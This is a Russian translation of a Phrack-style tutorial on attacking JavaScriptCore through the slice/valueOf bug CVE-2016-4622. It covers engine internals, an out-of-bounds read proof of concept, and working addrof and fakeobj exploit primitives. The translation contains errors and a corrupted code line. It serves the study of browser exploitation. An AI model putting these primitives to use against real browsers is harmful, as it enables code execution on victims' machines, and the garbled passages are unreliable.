Пожалуйста, обратите внимание, что пользователь заблокирован
|=-----------------------------------------------------------------------=|
|=---------------------=[ The Art of Exploitation ]=---------------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ Attacking JavaScript Engines ]=-------------------=|
|=--------=[ A case study of JavaScriptCore and CVE-2016-4622 ]=---------=|
|=-----------------------------------------------------------------------=|
|=----------------------------=[ saelo ]=--------------------------------=|
|=-----------------------=[ phrack@saelo.net ]=--------------------------=|
|=-----------------------------------------------------------------------=|--[ Оглавление
0 - Введение
1 - Обзор JavaScriptCore
1.1 - Значения, ВМ и (NaN-)
1.2 - Объекты и массивы
1.3 - Функции
2 - Ошибка
2.1 - Уязвимый код
2.2 - О преобразованиях типов JavaScript
2.3 - Эксплуатация с помощью valueOf
2.4 - Размышление об ошибках
3 - Куча JavaScriptCore
3.1 - Основы сборщика данных
3.2 - Помеченное пространство
3.3 - Скопированное пространство
4 - Построение примитивов эксплойтов
4.1 - Предварительные условия: Int64
4.2 - addrof и fakeobj
4.3 - План эксплуатации
5 - Понимание системы JSObject
5.1 - Хранение данных
5.2 - Внутренности JSObject
5.3 - О структурах
6 - Эксплуатация
6.1 - Прогнозирование идентификаторов структуры
6.2 - Объединение вещей: подделка массива Float64Array
6.3 - Выполнение шеллкода
6.4 - Выживающий сбор данных
6.5 - Резюме
7 - злоупотребление процессом рендеринга
7.1 - Процесс WebKit и модель привилегий
7.2 - Политика
7.3 - Кража писем
8 - Ссылки
9 - Исходный код
- [0 - Введение
Эта статья - введение в тему эксплуатации движка JavaScript на примере конкретной уязвимости. Конкретной целью будет JavaScriptCore, движок внутри WebKit.
Рассматриваемая уязвимость - CVE-2016-4622 была обнаружена в начале 2016 года, затем сообщается как ZDI-16-485 [1]. Это позволяет злоумышленнику использовать утечки адресов, а также использовать поддельные объекты в JavaScript Engine. Объединение этих примитивов приведет к удаленному выполнению кода внутри процесса компиляции. Ошибка была исправлена в 650552a. Код в этой статье был взят из коммита 320b1fc, который был последним уязвимым. Уязвимость была введена примерно годом ранее с коммитом 2fa4973. Весь код эксплойта был протестирован в Safari 9.1.1.
Эксплуатация указанной уязвимости требует знания различных движков. Устройство движка, которое, однако, также довольно интересно само по себе. Мы будем изучать различные части, современного движка JavaScript. Мы сосредоточимся на JavaScriptCore, но понятия, как правило, могут быть применимы к другим движкам тоже.
Знание языка JavaScript, по большей части, не требуется.
- [1 - Обзор движка JavaScript
Движок JavaScript содержит:
- Инфраструктура компилятора, обычно включающаяхотя бы один JIT-компилятор
- Виртуальная машина, которая работает со значениями JavaScript
- Среда выполнения, которая предоставляет набор встроенных объектов и функций
---- [1.1 - ВМ и NaN-boxing
Виртуальная машина (ВМ) обычно содержит интерпретатор, который может непосредственно выполнить байт-код. ВМ часто реализуется как машина основанная на стеке(stack-based machines) (в отличие от машин на основе регистров) и, таким образом, чтобы работать вокруг стека. Обработчик может выглядеть примерно так:
Код:
CASE(JSOP_ADD)
{
MutableHandleValue lval = REGS.stackHandleAt(-2);
MutableHandleValue rval = REGS.stackHandleAt(-1);
MutableHandleValue res = REGS.stackHandleAt(-2);
if (!AddOperation(cx, lval, rval, res))
goto error;
REGS.sp--;
}
END_CASE(JSOP_ADD)
Обратите внимание, что этот пример на самом деле взят из движка Firefox Spidermonkey поскольку JavaScriptCore (далее сокращенно - JSC) использует интерпретатор который написан на языке ассемблера и поэтому не сможет работать на примере, приведенном выше . Однако заинтересованный читатель может найти реализацию низкоуровневого переводчика АО (llint) в LowLevelInterpreter64.asm.
Часто первый JIT-компилятор(иногда называемый базовым JIT) заботиться о уменьшении ресурсов JIT-компиляторов более высокой ступени, и выполняет более сложные оптимизации. Оптимизация JIT-компиляторов как правило, спекулятивная, то есть они будут выполнять оптимизацию на основе некоторых своих предположений, например, «эта переменная всегда будет содержать число». Если предположение окажется неверным, то код передается на один из первых компиляторов. Различные типы исполнения упоминаются в [2] и [3] главе.
JavaScript - это динамически типизированный язык. Таким образом, тип информации связан со значениями (во время выполнения), а не с переменными (во время компиляции).Система типов JavaScript [4] определяет примитивные типы (число, строка, логическое значение, null, undefined, символ) и объекты (включая массивы и функции). В частности, в JavaScript нет понятия классов, как на других языках. Вместо этого JavaScript использует то, что называется «наследование на основе прототипа», где каждый объект имеет (возможно null) ссылка на объект-прототип, свойства которого он включает. Если ты заинтересован, то можешь обратиться к спецификации JavaScript [5] для получения дополнительной информации.
Все основные функции JavaScript не могут быть более 8 байт. Это сделано для повышения производительности (быстрое копирование, вписывается в регистр на 64-битной архитектуры). Некоторые движки, такие как Google v8, используют теговые указатели, но здесь наименее значимые биты указывают, является ли значение - указателем и или некоторой формой непосредственного значения. JavaScriptCore (ЗАО)и Spidermonkey в Firefox, с другой стороны, используют концепцию под названием NaN-boxing. NaN-boxing использует тот факт, что существует несколько бит, которые все представляют NaN, поэтому другие значения могут быть закодированы в них. В частности, каждое значение IEEE 754 с плавающей запятой и со всеми экспоненциальными битами установлено, но дробь, не равная нулю, представляет NaN. Это оставляет нам 2 ^ 51 различных битовых комбинаций. Этого достаточно, чтобы кодировать 32-битные целые и указатели, поскольку даже на 64-битных платформах в настоящее время используется только 48 бит адресации.
Схема, используемая JSC, хорошо объясняется в JSCJSValue.h. Соответствующая часть указана ниже, так как эта информация будет очень важна позже:
* Верхние 16 битов обозначают тип закодированного значения JSValue:
*
* Pointer { 0000:PPPP:PPPP:PPPP
* / 0001:****:****:****
* Double { ...
* \ FFFE:****:****:****
* Integer { FFFF:0000:IIII:IIII
*
* Реализованная нами схема выполняет кодирование значения из двойной точности
* 64-разрядного целочисленного в значения 2 ^ 48 к числу.
* После этой манипуляции не будет закодировано только значение двойной точности
* с шаблоном 0x0000 или 0xFFFF. Значения должны быть расшифрованы, тогда
* обращение этой операции до последующих операций с плавающей запятой
* может быть выполнено.
*
* 32-разрядные целые числа со знаком помечаются 16-разрядным тегом 0xFFFF.
*
* Тег 0x0000 обозначает указатель или другую форму тега
* Логические, нулевые и неопределенные значения - недопустимые значения указателя:
*
* False: 0x06
* True: 0x07
* Undefined: 0x0a
* Null: 0x02
*
Интересно, что 0x0 не является допустимым JSValue и приведет к падению движка .
---- [1.2 - Объекты и массивы
Объекты в JavaScript - это, по сути, наборы свойств, которые хранится в виде пар (ключ, значение). Свойства могут быть доступны либо через оператор “точку” (foo.bar) или через квадратные скобки (foo ['bar']). По крайней мере в теории, значения, используемые в качестве ключей, преобразуются в строки перед выполнением.
Массивы описываются спецификацией как специальные («экзотические») объекты чьи свойства также называются элементами, если имя свойства может быть представлено 32-разрядным целым числом [7]. Большинство движков сегодня расширяют это понятие на все объекты. Затем массив становится объектом со специальной «длиной» , значение которого всегда равно индексу высшего элемента плюс один. Конечным результатом всего этого является то, что каждый объект имеет свойства, доступ к которым осуществляется через строку или символьный ключ, и элементы, к которым осуществляется доступ через целочисленные индексы.
Внутри себя JSC хранит как свойства, так и элементы в одной и той же памяти и хранит указатель на эту область в самом объекте. Этот указатель указывает на середину области, свойства сохраняются слева от него (нижние адреса) и элементы справа от него. Существует также маленький заголовок, расположенный перед указанным адресом, который содержит длину элемента. Эта концепция называется "Бабочка" поскольку значения расширяются влево и вправо, подобно крыльям бабочки(Предположительно). В дальнейшем мы будем ссылаться как на указатель и область памяти как «Бабочка».
Код:
--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
^
|
+---------------+
|
+-------------+
| Some Object |
+-------------+
Как правило, элементы не должны храниться линейно в памяти.
В частности, такой код, как:
Код:
a = [];
a[0] = 42;
a[10000] = 42;
Этот массив не будет занимать 10001 ячейку памяти. Помимо различных моделей хранения массивов, массивы также могут хранить их данные с использованием разных представлений. Например, в массиве из 32 бит, целые числа могут храниться в собственном виде, чтобы избежать (NaN-) распаковки и процесса перезаписи во время большинства операций и это существенно поможет нам сэкономить память. Как таковой, JSC определяет набор различных типов индексации, которые можно найти в IndexingType.h. Вот самые важные из них:
Код:
ArrayWithInt32 = IsArray | Int32Shape;
ArrayWithDouble = IsArray | DoubleShape;
ArrayWithContiguous = IsArray | ContiguousShape;
Здесь последний тип хранит JSValues, в то время как первые два хранят свои нативные типы.(Перевод бога XD)
На данный момент ты, вероятно, задаешься вопросом, как поиск свойства выполнен в этой модели. Мы углубимся в это позже, но это заключается в том, что специальный мета-объект, называемый "структурой" в jSC, связан с каждым объектом, который обеспечивает отображение из свойства имена для номеров слотов.
---- [1.3 - Функции
При выполнении, внутри функции становятся доступны две специальные переменные. Одна из них, «arguments», обеспечивает доступ к аргументам функции, что позволяет создавать функции с переменным количеством аргументов. Другая относится к различным объектам в зависимости от способа вызова функции:
* Если функция была вызвана как конструктор (используя 'new func ()'), затем «это» указывает на вновь созданный объект. Его прототип уже имеет свойство .prototype объекта функции, которая устанавливается на новый объект во время определения функции.
* Если функция была вызвана как метод некоторого объекта (используя 'obj.func ()'), тогда this будет указывать на ссылку объекта.
* Иначе «this» просто указывает на текущий глобальный объект, как это делает вне функции.
Поскольку функции являются приоритетными объектами в JavaScript, они тоже могут иметь свойства. Мы уже видели свойство .prototype выше. Два других довольно интересных свойства каждой функции (на самом деле функции prototype) - это функции .call и .apply, которые позволяют вызывать функции с объектом this и его аргументами. Это может быть, например, использовано для реализации функциональности decorate:
Код:
function decorate(func) {
return function() {
for (var i = 0; i < arguments.length; i++) {
// do something with arguments[i]
}
return func.apply(this, arguments);
};
}
Это также имеет некоторые последствия внутри движка JavaScript, поскольку они не могут делать какие-либо предположения о значении ссылочного объекта, с которым они вызываются, так как он может быть установлен на произвольные значения из скрипта. Таким образом, все внутренние функции JavaScript должны будут проверять тип не только своих аргументов, но и объекта this.
Внутренне встроенные функции и методы [8] обычно реализуются одним из двух способов: как встроенные функции в C ++ или в самом JavaScript. Давайте рассмотрим простой пример нативной функции в JSC:
Реализация Math.pow ():
Код:
EncodedJSValue JSC_HOST_CALL mathProtoFuncPow(ExecState* exec)
{
// ECMA 15.8.2.1.13
double arg = exec->argument(0).toNumber(exec);
double arg2 = exec->argument(1).toNumber(exec);
return JSValue::encode(JSValue(operationMathPow(arg, arg2)));
}
Мы можем увидеть:
1. Подпись для собственных функций JavaScript
2. Как аргументы извлекаются с использованием метода (который возвращает неопределенное значение, если было предоставлено недостаточно аргументов)
3. Как аргументы преобразуются в их требуемый тип. Существует набор правил преобразования, регулирующих преобразование, например, массивы к числам, которые будут использовать toNumber. Подробнее об этом позже.
4. Как выполняется фактическая операция с собственным типом данных
5. Как результат возвращается через return. В этом случае просто путем преобразования числа в значение.
Здесь виден еще один шаблон: базовая реализация различных операций (в данном случае operationMathPow) перемещается в отдельные функции, поэтому их можно вызывать непосредственно из скомпилированного кода JIT.
--[ 2 - The bug
Данная ошибка заключается в реализации Array.prototype.slice [9]. Собственная функция arrayProtoFuncSlice, расположенная в ArrayPrototype.cpp, вызывается всякий раз, когда вызывается метод slice в JavaScript:
Код:
var a = [1, 2, 3, 4];
var s = a.slice(1, 3);
// s now contains [2, 3]
Реализация приведена ниже с незначительным переформатированием, некоторыми упущениями для удобочитаемости и маркерами для пояснения. Полная реализация также может быть найдена тут [10].
Код:
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
/* [[ 1 ]] */
JSObject* thisObj = exec->thisValue()
.toThis(exec, StrictMode)
.toObject(exec);
if (!thisObj)
return JSValue::encode(JSValue());
/* [[ 2 ]] */
unsigned length = getLength(exec, thisObj);
if (exec->hadException())
return JSValue::encode(jsUndefined());
/* [[ 3 ]] */
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end =
argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
/* [[ 4 ]] */
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
// We can only get an exception if we call some user function.
if (UNLIKELY(speciesResult.first ==
SpeciesConstructResult::Exception))
return JSValue::encode(jsUndefined());
/* [[ 5 ]] */
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &&
isJSArray(thisObj))) {
if (JSArray* result =
asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
JSObject* result;
if (speciesResult.first == SpeciesConstructResult::CreatedObject)
result = speciesResult.second;
else
result = constructEmptyArray(exec, nullptr, end - begin);
unsigned n = 0;
for (unsigned k = begin; k < end; k++, n++) {
JSValue v = getProperty(exec, thisObj, k);
if (exec->hadException())
return JSValue::encode(jsUndefined());
if (v)
result->putDirectIndex(exec, n, v);
}
setLength(exec, result, n);
return JSValue::encode(result);
}
Код делает следующее:
1. Получает ссылочный объект для вызова метода (это будет объект массива)
2. Получает длину массива
3. Преобразует аргументы (начальный и конечный индексы) в собственные целочисленные типы и закрепляет их в диапазоне [0, длина)
4. Проверяет, должен ли использоваться видовой конструктор [11]
5. Выполняет нарезку
Последний шаг выполняется одним из двух способов: если массиве идут все элеметы подряд, без пропусков, то будет использоваться 'fastSlice', который просто записывает значения memcpy в новый массив с использованием заданного индекса и длины. Если быстрый путь невозможен, используется простой цикл для извлечения каждого элемента и добавления его в новый массив. Обратите внимание, что в отличие в методах доступа к свойствам, используемых на медленном пути, fastSlice не выполняет никакой дополнительной проверки границ
Смотря на код, легко предположить, что переменные start и end будут меньше размера массива после того, как они были преобразованы в собственные целые числа. Однако мы можем разрушить это предположение, используя (ab) правила преобразования типов JavaScript.
---- [2.2 - О правилах преобразования JavaScript
JavaScript по своей природе слабо типизирован, что означает, что он с радостью преобразует значения различных типов в тот тип, который ему требуется в настоящее время. Рассмотрим Math.abs (), который возвращает абсолютное значение аргумента. Все перечисленные ниже являются «действительными» вызовами, то есть они не вызовут исключение:
Код:
Math.abs(-42); // argument is a number
// 42
Math.abs("-42"); // argument is a string
// 42
Math.abs([]); // argument is an empty array
// 0
Math.abs(true); // argument is a boolean
// 1
Math.abs({}); // argument is an object
// NaN
Напротив, языки со строгой типизацией, такие как python, обычно вызывают исключение (или, в случае языков со статической типизацией, выдают ошибку компилятора), если, например, строка передается в abs ().
Правила преобразования для числовых типов описаны в [12]. Правила, регулирующие преобразование типов объектов в числа (и примитивные типы в целом), особенно интересны. В частности, если объект имеет вызываемое свойство с именем «valueOf», этот метод будет вызван, а возвращаемое значение будет использовано, если оно является примитивным значением. И поэтому:
Код:
Math.abs({valueOf: function() { return -42; }});
// 42
---- [2.3 - Эксплуатация с помощью valueOf
В случае `arrayProtoFuncSlice` преобразование в тип примитива выполняется в аргументе ClampedIndexFromStartOrEnd. Этот метод также ограничивает аргументы в диапазоне [0, lenth):
Код:
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
double indexDouble = value.toInteger(exec); // Conversion happens here
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length :
static_cast<unsigned>(indexDouble);
Теперь, если мы изменим длину массива внутри функции valueOf одного из аргументов, то реализация slice продолжит использовать предыдущую длину, что приведет к выходу массива за пределы границ во время memcpy.
Однако, прежде чем делать это, мы должны убедиться, что размер хранилища элементов действительно изменяется, если мы уменьшаем массив. Для этого давайте кратко рассмотрим реализацию .length setter. Из JSArray :: setLength:
Код:
unsigned lengthToClear = butterfly->publicLength() - newLength;
unsigned costToAllocateNewButterfly = 64; // a heuristic.
if (lengthToClear > newLength &&
lengthToClear > costToAllocateNewButterfly) {
reallocateAndShrinkButterfly(exec->vm(), newLength);
return true;
}
Этот код реализует простую эвристику(simple heuristic), чтобы избежать слишком частого изменения массива. Таким образом, для принудительного изменения нашего массива нам потребуется, чтобы новый размер был намного меньше старого. Изменение размера, например, от 100 элементов до 0 сделают свое дело.
Вот как мы можем использовать Array.prototype.slice:
Код:
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
// b = [0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0]
Правильным выводом был бы массив размером 10, заполненный значениями = 'undefined', так как массив был очищен перед операцией slice. Тем не менее, мы можем увидеть некоторые значения с плавающей точкой в массиве. Похоже, мы прочитали некоторые вещи после конца этого массива
---- [2.4 - Размышление об ошибке
Эта конкретная ошибка программирования не новая и уже некоторое время эксплуатируется [13, 14, 15]. Основной проблемой здесь является (изменяемое) состояние, которое «кэшируется» стеке (в данном случае это длина объекта массива) в сочетании с различными механизмами обратного вызова, которые могут выполнять код, предоставленный пользователем, далее в стеке вызовов (в этом случае "valueOf" метод). С помощью этой настройки довольно легко сделать ложные предположения о состоянии движка на протяжении всей функции. Такая же проблема возникает и в DOM из-за различных обратных вызовов событий.
- [3 - Куча JavaScriptCore
На данный момент мы прочитали данные за пределами нашего массива, но не знаем, зачем мы к ним обращаемся. Чтобы понять это, необходимы некоторые базовые знания о распределителях кучи.
---- [3.1 - Основы сборщика мусора
JavaScript - это язык для сборки мусора, поэтому программисту не нужно заботиться об управлении памятью. Вместо этого сборщик мусора будет время от времени собирать недоступные объекты.
Одним из подходов к сбору мусора является подсчет ссылок, который широко используется во многих приложениях. Однако на сегодняшний день все основные движки на JavaScript вместо этого используют алгоритм метки и развертки. Здесь сборщик регулярно сканирует все активные объекты, начиная с набора корневых узлов, а затем освобождает все мертвые объекты. Корневыми узлами обычно являются указатели, расположенные в стеке, а также глобальные объекты, такие как объект 'window' в контексте веб-браузера.
Существуют различия между системами сбора мусора. Теперь мы обсудим некоторые ключевые свойства систем сбора мусора, которые должны помочь читателю понять часть связанного кода. Читатели, знакомые с этим, могут свободно перейти к концу этого раздела.
Во-первых, JSC использует консервативный сборщик мусора [16]. По сути, это означает, что GC не отслеживает сами корневые узлы. Вместо этого во время GC сканирует в стеке любое значение, которое может быть указателем в кучу, и обрабатывает их как корневые узлы. В отличие, например, от Spidermonkey, который использует точный сборщик мусора и, следовательно, должен обернуть все ссылки на объекты, в стеке, внутри класса указателей (Rooted <>), который заботится о регистрации объекта с помощью сборщика мусора.
Далее JSC использует инкрементный сборщик мусора. Этот вид сборщика мусора выполняет маркировку в несколько этапов и позволяет приложению работать между ними, уменьшая задержку GC. Однако это требует некоторых дополнительных усилий для правильной работы. Рассмотрим следующий случай:
* GC запускает и посещает некоторый объект O и все объекты, на которые он ссылается. Он помечает их как посещенные, а затем делает паузу, чтобы приложение могло работать снова.
* O изменяется, и к нему добавляется новая ссылка на другой объект P.
* Затем GC запускается снова, но он не знает о P. Он заканчивает разметку фазы и освобождение памяти П.
Чтобы избежать этого сценария, в движок вставлены так называемые "барьеры" записи. Они заботятся об уведомлении сборщика мусора при таком сценарии. Эти барьеры реализованы в JSC с помощью классов WriteBarrier <> и CopyBarrier <>.
---- [3.2 - Помеченное место
Помеченное пространство представляет собой набор блоков памяти, которые отслеживают выделенные ячейки. В JSC каждый объект, выделенный в отмеченном пространстве, должен наследоваться от класса JSCell и, таким образом, начинаться с восьмибайтового заголовка, который, среди других полей, содержит текущее состояние ячейки, используемое GC. Это поле используется сборщиком для отслеживания уже посещенных ячеек.
Есть еще одна вещь, о которой стоит упомянуть - помеченном пространстве: JSC хранит экземпляр MarkedBlock в начале каждого помеченного блока:
Код:
inline MarkedBlock* MarkedBlock::blockFor(const void* p)
{
return reinterpret_cast<MarkedBlock*>(
reinterpret_cast<Bits>(p) & blockMask);
}
Этот экземпляр содержит, помимо прочего, указатели на владеющий экземпляр Heap и VM, который позволяет движку получать их, если они недоступны в текущем контексте. Это усложняет настройку поддельных объектов, поскольку при выполнении определенных операций может потребоваться действительный экземпляр MarkedBlock. Таким образом, желательно создавать поддельные объекты внутри допустимого отмеченного блока, если это возможно.
---- [3.3 - Скопированное пространство
Скопированное пространство хранит буферы памяти, которые связаны с каким-либо объектом внутри отмеченного пространства. В основном это "бабочки", но содержимое типизированных массивов также может быть здесь. Таким образом, наш доступ за пределы границ происходит в этой области памяти.
Скопированный распределитель пространства очень прост:
Код:
CheckedBoolean CopiedAllocator::tryAllocate(size_t bytes, void** out)
{
ASSERT(is8ByteAligned(reinterpret_cast<void*>(bytes)));
size_t currentRemaining = m_currentRemaining;
if (bytes > currentRemaining)
return false;
currentRemaining -= bytes;
m_currentRemaining = currentRemaining;
*out = m_currentPayloadEnd - currentRemaining - bytes;
ASSERT(is8ByteAligned(*out));
return true;
}
По сути, это распределитель: он просто вернет следующие N байтов памяти в текущем блоке, пока блок не будет полностью использован. Таким образом, почти гарантируется, что два следующих выделения будут размещены в памяти рядом друг с другом.
Это хорошая новость для нас. Если мы выделим два массива по одному элементу в каждом, то две "бабочки" будут рядом друг с другом практически в каждом случае.
- [4 - Создание примитивных эксплойтов
Хотя рассматриваемая ошибка на первый взгляд выглядит как внешнее чтение, на самом деле она является более мощным примитивом, поскольку позволяет нам «вставлять» значения JSV, которые мы выбираем, во вновь созданные массивы JavaScript и, следовательно, в движок.
Теперь мы создадим два примитива эксплойта из данной ошибки, что позволит нам произвести:
1. Утечку адреса произвольного объекта JavaScript и
2. Вставить поддельный JavaScript-объект в движок.
Мы будем называть эти примитивы «addrof» и «fakeobj».
---- [4.1 Int64
Как мы уже видели, наш примитив эксплойта в настоящее время возвращает значения с плавающей запятой вместо целых. На самом деле, по крайней мере в теории, все числа в JavaScript являются 64-битными числами с плавающей точкой [17]. В действительности, как уже упоминалось, большинство механизмов имеют выделенный 32-разрядный целочисленный тип по соображениям производительности, но при необходимости преобразуются в значения с плавающей запятой (т. е. при переполнении). Таким образом, невозможно представить произвольные 64-битные целые числа (и, в частности, адреса) примитивными числами в JavaScript.
Таким образом, должен был быть создан вспомогательный модуль, который позволял бы хранить 64-битные целочисленные экземпляры. Который поддерживает:
* Инициализацию экземпляров Int64 из различных типов аргументов: строк, чисел и байтовых массивов.
* Назначение результата сложения и вычитания существующему экземпляру с помощью методов assignXXX. Использование этих методов позволяет избежать дальнейшего выделения кучи, что иногда может быть и желательно.
* Создание новых экземпляров, которые сохраняют результат сложения или вычитания с помощью функций Add и Sub..
* Преобразование между экземплярами типа double, JSValues и Int64 таким образом, что базовый битовый шаблон остается неизменным.
Последний пункт заслуживает нашего обсуждения. Как мы видели выше, мы получаем двойника, базовая память которого интерпретируется как нативное целое число, является нашим желаемым адресом. Таким образом, нам нужно конвертировать между родными двойными числами и нашими целыми числами, чтобы основные биты оставались неизменными. asDouble () можно рассматривать как этот код:
Код:
double asDouble(uint64_t num)
{
return *(double*)#
}
Метод JSValue далее учитывает процедуру NaN-упаковки и создает JSValue с заданным битовым шаблоном. Если тебе интересно, то ты можешь получить более подробную информацию о файле int64.js внутри прилагаемого архива исходного кода.
После этого давайте вернемся к созданию наших двух примитивов эксплойтов.
---- [4.2 addrof и fakeobj
Оба примитива полагаются на тот факт, что JSC хранит массивы двойников в нативном представлении, а не пошутчно. По сути, это позволяет нам писать собственные двойные значения (тип индексации ArrayWithDoubles), но механизм обрабатывает их как JSValues (тип индексации ArrayWithContiguous) и наоборот.
Итак, вот шаги, необходимые для использования утечки адреса:
1. Создайте массив парных чисел. Он будет храниться внутри как IndexingType ArrayWithDouble
2. Установите объект с пользовательской функцией valueOf, которая будет
2.1 Уменьшать ранее созданный массив
2.2 Выделять новый массив, содержащий только объект, адрес которого мы хотим знать. Этот массив (скорее всего) будет расположен сразу за новой "бабочкой", так как он находится в скопированном пространстве
2.3 Возвращать значение больше, чем новый размер массива, чтобы вызвать ошибку
3. Вызвать slice () для целевого массива объекта из шага 2 в качестве одного из аргументов
Теперь мы найдем нужный адрес в виде 64-битного значения с плавающей запятой внутри массива. Это работает, потому что slice () сохраняет тип индексации. Таким образом, наш новый массив будет обрабатывать данные как собственные двойные значения, что позволяет нам пропускать произвольные экземпляры JSValue и, следовательно, указатели.
Примитив fakeobj работает в основном наоборот. Здесь мы вводим нативные двойные числа в массив JSValues, что позволяет нам создавать указатели JSObject:
1. Создайте массив объектов. Он будет храниться внутри как IndexingType ArrayWithContiguous
2. Установите объект с пользовательской функцией valueOf, которая будет
2.1 уменьшать ранее созданный массив
2.2 выделять новый массив, содержащий просто двойное число, битовая комбинация которого совпадает с адресом JSObject, который мы хотим внедрить. Двойник будет храниться в собственном виде, так как IndexingType массива будет ArrayWithDouble
2.3 возвращать значение больше, чем новый размер массива, чтобы вызвать ошибку
3. Вызывать slice () для целевого массива объекта из шага 2 в качестве одного из аргументов
Для полноты реализации оба примитива предоставляю ниже.
Код:
function addrof(object) {
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.1337); // Array must be of type ArrayWithDoubles
var hax = {valueOf: function() {
a.length = 0;
a = [object];
return 4;
}};
var b = a.slice(0, hax);
return Int64.fromDouble(b[3]);
}
function fakeobj(addr) {
var a = [];
for (var i = 0; i < 100; i++)
a.push({}); // Array must be of type ArrayWithContiguous
addr = addr.asDouble();
var hax = {valueOf: function() {
a.length = 0;
a = [addr];
return 4;
}};
return a.slice(0, hax)[3];
}
---- [4.3 - План эксплуатации
С этого момента нашей целью будет получить произвольный примитив для чтения / записи в память через поддельный объект JavaScript. Мы сталкиваемся со следующими вопросами:
Q1. Какой объект мы хотим подделать?
Q2. Как мы подделываем такой объект?
Q3. Где мы размещаем поддельный объект, чтобы знать его адрес?
Некоторое время механизмы JavaScript поддерживали типизированные массивы [18], эффективное и высокооптимизируемое хранилище для необработанных двоичных данных. Они оказываются хорошими кандидатами для нашего поддельного объекта, поскольку они изменчивы (в отличие от строк JavaScript), и, таким образом, управление их указателем данных приводит к произвольному примитиву чтения / записи, используемому из скрипта. В конечном итоге наша цель теперь - подделать экземпляр Float64Array.
Теперь мы обратимся пунктам к Q2 и Q3, которые требуют обсуждения внутренних компонентов JSC, а именно системы JSObject.
- [5 - Понимание системы JSObject
JavaScript-объекты реализуются в JSC с помощью комбинации классов C ++. В центре находится класс JSObject, который сам по себе является JSCell (и как таковой отслеживается сборщиком мусора). Существуют различные подклассы JSObject, которые слабо, но напоминают разные объекты JavaScript, такие как массивы (JSArray), типизированные массивы (JSArrayBufferView) или Proxys (JSProxy).
Теперь мы рассмотрим различные части, которые составляют JSObject внутри движка JSC.
---- [5.1 - Хранение данных
Свойства являются наиболее важным аспектом объектов JavaScript. Мы уже видели, как хранятся свойства в движке - "бабочка". Но это только половина правды. Помимо бабочки, JSObjects также может иметь встроенное хранилище (по умолчанию 6 слотов, но подлежит анализу во время выполнения), расположенное сразу после объекта в памяти. Это может привести к небольшому приросту производительности, если для объекта не требуется выделять бабочку.
Встроенное хранилище нам интересно, так как мы можем украсть адрес объекта и, таким образом, узнать адрес его встроенных слотов. Они являются хорошим кандидатом для размещения нашего поддельного объекта. В качестве дополнительного бонуса, при этом мы также избегаем любых проблем, которые могут возникнуть при размещении объекта за пределами отмеченного блока, как обсуждалось ранее. Это отвечает Q3.
Давайте обратимся к Q2 сейчас.
---- [5.2 - JSObject innerals
Начнем с примера: предположим, что мы запускаем следующий фрагмент кода JS:
obj = {'a': 0x1337, 'b': false, 'c': 13.37, 'd': [1,2,3,4]};Это приведет к следующему объекту:
Код:
(lldb) x/6gx 0x10cd97c10
0x10cd97c10: 0x0100150000000136 0x0000000000000000
0x10cd97c20: 0xffff000000001337 0x0000000000000006
0x10cd97c30: 0x402bbd70a3d70a3d 0x000000010cdc7e10
Первым словом является JSCell. Второй указатель - "бабочка", который является нулевым, поскольку все свойства хранятся встроенными. Далее идут встроенные слоты JSValue для четырех свойств: целое число, ложное значение, двойной тип и указатель JSObject. Если бы мы добавили больше свойств к объекту, в какой-то момент для их хранения была бы выделена бабочка.
Так, что содержит JSCell? JSCell.h раскрывает:
StructureID m_structureID;
Это самый интересный, мы рассмотрим его ниже.
IndexingType m_indexingType;
Мы уже видели это раньше. Указывает режим хранения элементов объекта.
JSType m_type;
Хранит тип этой ячейки: строка, символ, функция, простой объект, ...
TypeInfo :: InlineTypeFlags m_flags;
Флаги, которые не слишком важны для наших целей. JSTypeInfo.h содержит дополнительную информацию.
CellState m_cellState;
Мы также видели это раньше. Используется сборщиком мусора во время сбора.
---- [5.3 - О структурах
JSC создает мета-объекты, которые описывают структуру или структуру объекта JavaScript. Эти объекты представляют сопоставления от имен свойств к индексам во встроенном хранилище или бабочке (оба обрабатываются как массивы JSValue). В своей основной форме такая структура может представлять собой массив пар <имя свойства, индекс слота>. Он также может быть реализован в виде связанного списка или хэш-карты. Вместо того чтобы хранить указатель на эту структуру в каждом экземпляре JSCell, разработчики решили сохранить 32-битный индекс в таблице структуры, чтобы сэкономить место для других полей.
Так что же происходит, когда к объекту добавляется новое свойство? Если это происходит в первый раз, то будет выделен новый экземпляр структуры, содержащий индексы предыдущего интервала для всех существующих свойств и дополнительный для нового свойства. Затем свойство будет сохранено по соответствующему индексу, возможно, требующему перераспределения бабочки. Чтобы избежать повторения этого процесса, результат структуры может быть кэширован в предыдущей структуре, в структуре данных, называемой «таблица транзита». Первоначальная структура также может быть скорректирована, чтобы выделить больше встроенного хранилища или хранилища «бабочка» заранее, чтобы избежать его выделения. Этот механизм в конечном итоге делает конструкции многоразовыми.
Время для примера. Предположим, у нас есть следующий код JavaScript:
Код:
var o = { foo: 42 };
if (someCondition)
o.bar = 43;
else
o.baz = 44;
Это приведет к созданию следующих трех экземпляров структуры, показанных здесь с (произвольным) именем свойства в сопоставлениях индексов слотов:
Код:
+-----------------+ +-----------------+
| Structure 1 | +bar | Structure 2 |
| +--------->| |
| foo: 0 | | foo: 0 |
+--------+--------+ | bar: 1 |
| +-----------------+
| +baz +-----------------+
+-------->| Structure 3 |
| |
| foo: 0 |
| baz: 1 |
+-----------------+
Всякий раз, когда этот кусок кода выполнялся снова, правильную структуру созданного объекта было бы легко найти.
По сути, сегодня все основные двигатели используют одну и ту же концепцию. V8 называет их картами или скрытыми классами [19], в то время как Spidermonkey называет их Shapes.
